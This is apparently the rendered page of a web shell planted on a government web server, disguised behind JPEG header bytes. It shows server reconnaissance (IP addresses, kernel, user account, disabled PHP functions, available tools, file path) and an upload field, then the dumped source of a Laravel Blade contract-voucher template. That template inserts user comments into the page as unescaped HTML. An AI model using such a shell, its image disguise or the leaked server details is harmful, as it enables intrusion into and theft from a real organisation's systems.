ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.147.28.206 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/storage/framework/views/ |
Upload File : |
<?php $__env->startSection('pageTitle'); ?> <?php echo e(strtoupper('create contractor voucher')); ?> <?php $__env->stopSection(); ?> <?php $__env->startSection('content'); ?> <div class="box-header with-border hidden-print"> <h3 class="box-title"><?php echo $__env->yieldContent('pageTitle'); ?> <span id='processing'></span></h3> </div> <div class="box-body"> <div class="row"> <div class="col-md-12"><!--1st col--> <?php if($warning<>''): ?> <div class="alert alert-dismissible alert-danger"> <button type="button" class="close" data-dismiss="alert">×</button> <strong><?php echo e($warning); ?></strong> </div> <?php endif; ?> <?php if($success<>''): ?> <div class="alert alert-dismissible alert-success"> <button type="button" class="close" data-dismiss="alert">×</button> <strong><?php echo e($success); ?></strong> </div> <?php endif; ?> <?php if($error<>''): ?> <div class="alert alert-dismissible alert-danger"> <button type="button" class="close" data-dismiss="alert">×</button> <strong><?php echo e($error); ?></strong> </div> <?php endif; ?> <?php if(count($errors) > 0): ?> <div class="alert alert-danger alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span> </button> <strong>Error!</strong> <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <p><?php echo e($error); ?></p> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </div> <?php endif; ?> <?php if(old('contractid') !== "")$contractid=old('contractid'); ?> <form method="post" enctype="multipart/form-data" > <div class="row"> <?php echo e(csrf_field()); ?> <div class="col-md-4"> <div class="form-group"> <label >Contract Tracking Number<span class="text-danger"/></label> <input type="text" name="contractid" class="form-control" value="<?php echo e($contractid); ?>" > </div> </div> <div class="col-md-4"> <div class="form-group"> <br> <input type="submit" class="btn btn-success" value="Find" name="reload" /> </div> </div> </div> </form> </div> </div> </div> <?php $__env->stopSection(); ?> <?php $__env->startSection('styles'); ?> <link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/datepicker.min.css')); ?>"> <?php $__env->stopSection(); ?> <?php $__env->startSection('styles'); ?> <style type="text/css"> .modal-dialog { width:10cm } .modal-header { background-color: #006600; color:#FFF; } </style> <?php $__env->stopSection(); ?> <?php $__env->startSection('scripts'); ?> <script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script> <script> $(document).ready(function(){ $('#allocationtype1').change(function() { var id = $this.val(); $.ajax({ url: murl +'/session set', type: "post", data: {'nameID': id, '_token': $('input[name=_token]').val()}, success: function(data){ console.log(data); } }); }); }); </script> <script> function editfunc(a,b,c,d,e,f,g,h,i,j) { $(document).ready(function(){ $('#contractor').val(a); $('#phone').val(b); $('#email').val(c); $('#address').val(d); $('#bank').val(e); $('#account').val(f); $('#sortcode').val(g); $('#tin').val(h); $('#C_id').val(i); $('#status').val(j); $("#editModal").modal('show'); }); } function delfunc(a) { $(document).ready(function(){ $('#conID').val(a); $("#delModal").modal('show'); }); } function getEconomics(){ var all = document.getElementById('allocationtype1').value; var con = document.getElementById('contracttype1').value; var frm = document.getElementById('form1'); if(all !== "" && con !== ""){ return frm.submit(); } } function getBalance(){ var eco = document.getElementById('economicCode1').value; var frm = document.getElementById('form1'); if(eco !== ""){ return frm.submit(); } } function viewInstruct(list,list1){ space = document.getElementById('z-space'); space.innerHTML = ''; if(list1 !== ""){ var a = JSON.parse(list1); space.innerHTML += 'Pre-payment Remarks <br>'; for(i = 0; i < a.length; i++){ space.innerHTML += '<p><b id="vi">'+ a[i].comment +'</b> - <small class="text-warning"> <i>'+a[i].name+', posted '+ a[i].date_added+' at '+ a[i].time +'</i></small></p><br>'; } } if(list !== ""){ var a = JSON.parse(list); space.innerHTML += '<br> payment Remarks <br>'; for(i = 0; i < a.length; i++){ space.innerHTML += '<p><b id="vi">'+ a[i].comment +'</b> - <small class="text-warning"> <i>'+a[i].name+', posted '+ a[i].date_added+' at '+ a[i].time +'</i></small></p><br>'; } } $('#vim').modal('show'); return false; } function setID(id){ document.getElementById('selectedid').value = id; //var all = document.getElementById('allocationtype1').value; //var con = document.getElementById('economicCode1').value; document.getElementById('finalsubmit').value = 'gettingstuff1'; return document.getElementById('form1').submit(); } function submitVoucher(){ //console.log(document.getElementById('form1')); //return false; document.getElementById('finalsubmit').value = 'complete'; return document.getElementById('form1').submit(); } function getEconomics2(){ var all = document.getElementById('secallocationtype').value; var con = document.getElementById('contracttype1').value; var frm = document.getElementById('form1'); if(all !== "" && con !== ""){ return frm.submit(); } } function getAddrvat(){ console.log(document.getElementById('vatPayeeID').value); return false; } function getAddrwht(){ console.log(document.getElementById('whtPayeeID').value); return false; } </script> </script> <script> ///////////////////////DATE///////////////////////////////// $( function(){ $("#todayDate").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'}); }); ///////////////////////DATE///////////////// //$('#netAmount').focus(); $('#companyGetLookUp').change( function() { $('#beneficiaryName').val($('#companyGetLookUp').val()); }); vt = document.getElementById("vatPayeeID"); wh = document.getElementById("whtPayeeID"); if($("#vatselect").val() !== "0"){ vt.disabled = false; } if($("#WithholdingTax").val() !== "0"){ wh.disabled = false; } if($("#vatselect").val() == "0"){ vt.disabled = true; vt.value = ""; } if($("#WithholdingTax").val() == "0"){ wh.disabled = true; wh.value = ""; } $("#vatselect ,#WithholdingTax").change( function() { vt = document.getElementById("vatPayeeID"); wh = document.getElementById("whtPayeeID"); if($("#vatselect").val() !== "0"){ vt.disabled = false; } if($("#WithholdingTax").val() !== "0"){ wh.disabled = false; } if($("#vatselect").val() == "0"){ vt.disabled = true; vt.value = ""; } if($("#WithholdingTax").val() == "0"){ wh.disabled = true; wh.value = ""; } var amount = $("#netAmount").val(); if( amount ==""){ //alert error when amount is empty , vat and tax not applicable to zero amount alert("amount cant be empty"); $("#netAmount").focus(); } else{ var vat_rate = $("#vatselect").val(); var tax_rate = $("#WithholdingTax").val(); console.log( 'vat rate', vat_rate ); console.log( 'tax rate', tax_rate ); //we have amount not set to empty , calculate the vat and the tax //display it and set it to the respective elements //calculate vat value var demo= Number(vat_rate)+100; var vat = (vat_rate /demo) * amount; var mockval=amount-vat; //calculate tax value var tax = ( tax_rate / 100 ) * mockval; vat=vat.toFixed(2); $("#vat").val(vat); //display the tax to the user tax=tax.toFixed(2); $("#tax").val(tax); //calculate net payable var netpay = Number( amount) - ( Number ( vat ) + Number( tax) ) ; $("#grossAmount").html( netpay); netpay=netpay.toFixed(2); $("#amtpayable").val(netpay); } }) function calc(){ var amount = $("#netAmount").val(); if( amount ==""){ //alert error when amount is empty , vat and tax not applicable to zero amount alert("amount cant be empty"); $("#netAmount").focus(); } else{ var vat_rate = $("#vatselect").val(); var tax_rate = $("#WithholdingTax").val(); console.log( 'vat rate', vat_rate ); console.log( 'tax rate', tax_rate ); //we have amount not set to empty , calculate the vat and the tax //display it and set it to the respective elements //calculate vat value var demo= Number(vat_rate)+100; var vat = (vat_rate /demo) * amount; var mockval=amount-vat; //calculate tax value var tax = ( tax_rate / 100 ) * mockval; vat=vat.toFixed(2); $("#vat").val(vat); //display the tax to the user tax=tax.toFixed(2); $("#tax").val(tax); //$("#netAmount").val(amount); //calculate net payable var netpay = Number( amount) - ( Number ( vat ) + Number( tax) ) ; netpay=netpay.toFixed(2); $("#grossAmount").html( netpay); $("#amtpayable").val(netpay); } function showF(){ document.getElementById('second-form').style.display = 'block'; document.getElementById('show-btn').style.visibility = 'hidden'; document.getElementById('hide-btn').style.visibility = 'visible'; } } function hideF(){ document.getElementById('second-form').style.display = 'none'; document.getElementById('hide-btn').style.visibility = 'hidden'; document.getElementById('show-btn').style.visibility = 'visible'; } </script> <?php $__env->stopSection(); ?> <?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/resources/views/CreateContract/pre-newcontract.blade.php ENDPATH**/ ?>